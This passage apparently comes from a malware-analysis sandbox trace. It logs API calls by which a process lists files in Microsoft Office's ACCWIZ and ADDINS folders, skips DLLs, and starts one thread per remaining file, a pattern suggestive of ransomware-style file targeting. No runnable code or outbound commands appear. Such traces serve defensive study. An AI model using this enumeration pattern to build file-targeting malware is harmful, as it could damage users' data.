Files\\Microsoft Office\\Office14\\ACCWIZ\\" [0089.760] wcscat (in: _Dest=0x1b85be20, _Source="ACWZDAT12.ACCDU" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU" [0097.386] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85be20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa3c [0097.387] FindNextFileW (in: hFindFile=0x1cd9d6d0, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2df3800, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5ea37bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2df3800, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0x204000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZLIB.ACCDE", cAlternateFileName="ACWZLI~1.ACC")) returned 1 [0097.387] wcscmp (_String1="ACWZLIB.ACCDE", _String2=".") returned 1 [0097.387] wcscmp (_String1="ACWZLIB.ACCDE", _String2="..") returned 1 [0097.387] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85bd00 [0097.387] wcscpy (in: _Dest=0x1b85bd00, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ" [0097.387] wcscat (in: _Dest=0x1b85bd00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\" [0097.387] wcscat (in: _Dest=0x1b85bd00, _Source="ACWZLIB.ACCDE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE" [0097.387] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85bd00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x610 [0097.388] FindNextFileW (in: hFindFile=0x1cd9d6d0, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2df3800, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x511e6c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2df3800, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0x8f8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZMAIN.ACCDE", cAlternateFileName="ACWZMA~1.ACC")) returned 1 [0097.388] wcscmp (_String1="ACWZMAIN.ACCDE", _String2=".") returned 1 [0097.388] wcscmp (_String1="ACWZMAIN.ACCDE", _String2="..") returned 1 [0097.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a53d0 [0097.388] wcscpy (in: _Dest=0x202a53d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ" [0097.388] wcscat (in: _Dest=0x202a53d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\" [0097.388] wcscat (in: _Dest=0x202a53d0, _Source="ACWZMAIN.ACCDE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE" [0097.388] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a53d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x804 [0097.389] FindNextFileW (in: hFindFile=0x1cd9d6d0, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4106500, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5eaa9fd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4106500, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0xb39000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZTOOL.ACCDE", cAlternateFileName="ACWZTO~1.ACC")) returned 1 [0097.389] wcscmp (_String1="ACWZTOOL.ACCDE", _String2=".") returned 1 [0097.389] wcscmp (_String1="ACWZTOOL.ACCDE", _String2="..") returned 1 [0097.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a5460 [0097.389] wcscpy (in: _Dest=0x202a5460, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ" [0097.389] wcscat (in: _Dest=0x202a5460, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\" [0097.389] wcscat (in: _Dest=0x202a5460, _Source="ACWZTOOL.ACCDE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE" [0097.389] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7fc [0097.390] FindNextFileW (in: hFindFile=0x1cd9d6d0, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4106500, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5ead0130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4106500, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0x348000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZUSR12.ACCDU", cAlternateFileName="ACWZUS~1.ACC")) returned 1 [0097.390] wcscmp (_String1="ACWZUSR12.ACCDU", _String2=".") returned 1 [0097.390] wcscmp (_String1="ACWZUSR12.ACCDU", _String2="..") returned 1 [0097.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x202a54f0 [0097.390] wcscpy (in: _Dest=0x202a54f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ" [0097.390] wcscat (in: _Dest=0x202a54f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\" [0097.390] wcscat (in: _Dest=0x202a54f0, _Source="ACWZUSR12.ACCDU" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU" [0097.390] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a54f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x614 [0097.392] FindNextFileW (in: hFindFile=0x1cd9d6d0, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4106500, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5e41e350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4106500, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0xbf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UTILITY.ACCDA", cAlternateFileName="UTILIT~1.ACC")) returned 1 [0097.392] wcscmp (_String1="UTILITY.ACCDA", _String2=".") returned 1 [0097.392] wcscmp (_String1="UTILITY.ACCDA", _String2="..") returned 1 [0097.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202a5580 [0097.392] wcscpy (in: _Dest=0x202a5580, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ" [0097.392] wcscat (in: _Dest=0x202a5580, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\" [0097.392] wcscat (in: _Dest=0x202a5580, _Source="UTILITY.ACCDA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA" [0097.392] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x670 [0097.393] FindNextFileW (in: hFindFile=0x1cd9d6d0, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4106500, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5e41e350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4106500, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0xbf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UTILITY.ACCDA", cAlternateFileName="UTILIT~1.ACC")) returned 0 [0097.393] FindClose (in: hFindFile=0x1cd9d6d0 | out: hFindFile=0x1cd9d6d0) returned 1 [0097.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce57670) returned 1 [0097.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e480) returned 1 [0097.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a3340) returned 1 Thread: id = 371 os_tid = 0xefc [0089.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b86e4f0 [0089.765] wcscpy (in: _Dest=0x1b86e4f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" [0089.765] wcscat (in: _Dest=0x1b86e4f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\" [0089.765] wcscat (in: _Dest=0x1b86e4f0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\*" [0089.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce578e0 [0089.765] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\*", lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x695e6e70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d730 [0089.767] wcscmp (_String1=".", _String2=".") returned 0 [0089.767] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x695e6e70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.767] wcscmp (_String1="..", _String2=".") returned 1 [0089.767] wcscmp (_String1="..", _String2="..") returned 0 [0089.767] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x51090010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e388, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCOLK.DLL", cAlternateFileName="")) returned 1 [0089.767] wcscmp (_String1="ACCOLK.DLL", _String2=".") returned 1 [0089.767] wcscmp (_String1="ACCOLK.DLL", _String2="..") returned 1 [0089.767] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x2e780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSAddin.dll", cAlternateFileName="")) returned 1 [0089.767] wcscmp (_String1="BCSAddin.dll", _String2=".") returned 1 [0089.767] wcscmp (_String1="BCSAddin.dll", _String2="..") returned 1 [0089.767] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4065b100, ftCreationTime.dwHighDateTime=0x1cab7cf, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4065b100, ftLastWriteTime.dwHighDateTime=0x1cab7cf, nFileSizeHigh=0x0, nFileSizeLow=0x17380, dwReserved0=0x0, dwReserved1=0x0, cFileName="ColleagueImport.dll", cAlternateFileName="COLLEA~1.DLL")) returned 1 [0089.768] wcscmp (_String1="ColleagueImport.dll", _String2=".") returned 1 [0089.768] wcscmp (_String1="ColleagueImport.dll", _String2="..") returned 1 [0089.768] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0725100, ftCreationTime.dwHighDateTime=0x1bdbc1e, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0725100, ftLastWriteTime.dwHighDateTime=0x1bdbc1e, nFileSizeHigh=0x0, nFileSizeLow=0x33e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FAXEXT.ECF", cAlternateFileName="")) returned 1 [0089.768] wcscmp (_String1="FAXEXT.ECF", _String2=".") returned 1 [0089.768] wcscmp (_String1="FAXEXT.ECF", _String2="..") returned 1 [0089.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b85beb0 [0089.768] wcscpy (in: _Dest=0x1b85beb0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" [0089.768] wcscat (in: _Dest=0x1b85beb0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\" [0089.768] wcscat (in: _Dest=0x1b85beb0, _Source="FAXEXT.ECF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF" [0097.508] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85beb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe10 [0097.509] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87891c00, ftCreationTime.dwHighDateTime=0x1ca15c9, ftLastAccessTime.dwLowDateTime=0x5279f530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87891c00, ftLastWriteTime.dwHighDateTime=0x1ca15c9, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSEC.DLL", cAlternateFileName="")) returned 1 [0097.509] wcscmp (_String1="MSOSEC.DLL", _String2=".") returned 1 [0097.509] wcscmp (_String1="MSOSEC.DLL", _String2="..") returned 1 [0097.509] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87891c00, ftCreationTime.dwHighDateTime=0x1ca15c9, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87891c00, ftLastWriteTime.dwHighDateTime=0x1ca15c9, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSEC.XML", cAlternateFileName="")) returned 1 [0097.509] wcscmp (_String1="MSOSEC.XML", _String2=".") returned 1 [0097.509] wcscmp (_String1="MSOSEC.XML", _String2="..") returned 1 [0097.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x202a5730 [0097.509] wcscpy (in: _Dest=0x202a5730, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" [0097.509] wcscat (in: _Dest=0x202a5730, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\" [0097.509] wcscat (in: _Dest=0x202a5730, _Source="MSOSEC.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.XML" [0097.509] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x718 [0097.510] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbea7100, ftCreationTime.dwHighDateTime=0x1bdf1f8, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdbea7100, ftLastWriteTime.dwHighDateTime=0x1bdf1f8, nFileSizeHigh=0x0, nFileSizeLow=0x30a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSPC.ECF", cAlternateFileName="")) returned 1 [0097.510] wcscmp (_String1="MSSPC.ECF", _String2=".") returned 1 [0097.510] wcscmp (_String1="MSSPC.ECF", _String2="..") returned 1 [0097.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b868c40 [0097.510] wcscpy (in: _Dest=0x1b868c40, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" [0097.510] wcscat (in: _Dest=0x1b868c40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\" [0097.510] wcscat (in: _Dest=0x1b868c40, _Source="MSSPC.ECF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF" [0097.510] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b868c40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x720 [0097.511] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8a70000, ftCreationTime.dwHighDateTime=0x1ca200c, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd8a70000, ftLastWriteTime.dwHighDateTime=0x1ca200c, nFileSizeHigh=0x0, nFileSizeLow=0x25348, dwReserved0=0x0, dwReserved1=0x0, cFileName="otkloadr_x64.dll", cAlternateFileName="OTKLOA~1.DLL")) returned 1 [0097.511] wcscmp (_String1="otkloadr_x64.dll", _String2=".") returned 1 [0097.511] wcscmp (_String1="otkloadr_x64.dll", _String2="..") returned 1 [0097.511] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6927e500, ftCreationTime.dwHighDateTime=0x1c8597f, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6927e500, ftLastWriteTime.dwHighDateTime=0x1c8597f, nFileSizeHigh=0x0, nFileSizeLow=0x786, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTEX.ECF", cAlternateFileName="")) returned 1 [0097.511] wcscmp (_String1="OUTEX.ECF", _String2=".") returned 1 [0097.511] wcscmp (_String1="OUTEX.ECF", _String2="..") returned 1 [0097.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b868cc0 [0097.511] wcscpy (in: _Dest=0x1b868cc0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" [0097.512] wcscat (in: _Dest=0x1b868cc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\" [0097.512] wcscat (in: _Dest=0x1b868cc0, _Source="OUTEX.ECF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF" [0097.512] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b868cc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x724 [0097.512] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704ef300, ftCreationTime.dwHighDateTime=0x1c8597f, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x704ef300, ftLastWriteTime.dwHighDateTime=0x1c8597f, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTEX2.ECF", cAlternateFileName="")) returned 1 [0097.513] wcscmp (_String1="OUTEX2.ECF", _String2=".") returned 1 [0097.513] wcscmp (_String1="OUTEX2.ECF", _String2="..") returned 1 [0097.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x202a57c0 [0097.513] wcscpy (in: _Dest=0x202a57c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" [0097.513] wcscat (in: _Dest=0x202a57c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\" [0097.513] wcscat (in: _Dest=0x202a57c0, _Source="OUTEX2.ECF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF" [0097.513] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a57c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x728 [0097.513] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x59c42b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x13b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLVBA.DLL", cAlternateFileName="")) returned 1 [0097.514] wcscmp (_String1="OUTLVBA.DLL", _String2=".") returned 1 [0097.514] wcscmp (_String1="OUTLVBA.DLL", _String2="..") returned 1 [0097.514] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f32200, ftCreationTime.dwHighDateTime=0x1bdf1f8, ftLastAccessTime.dwLowDateTime=0x1710610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4f32200, ftLastWriteTime.dwHighDateTime=0x1bdf1f8, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMAILEXT.ECF", cAlternateFileName="")) returned 1 [0097.514] wcscmp (_String1="PMAILEXT.ECF", _String2=".") returned 1 [0097.514] wcscmp (_String1="PMAILEXT.ECF", _String2="..") returned 1 [0097.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x202a5850 [0097.514] wcscpy (in: _Dest=0x202a5850, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" [0097.514] wcscat (in: _Dest=0x202a5850, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\" [0097.514] wcscat (in: _Dest=0x202a5850, _Source="PMAILEXT.ECF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned="C:\\Program Files\\Microsoft 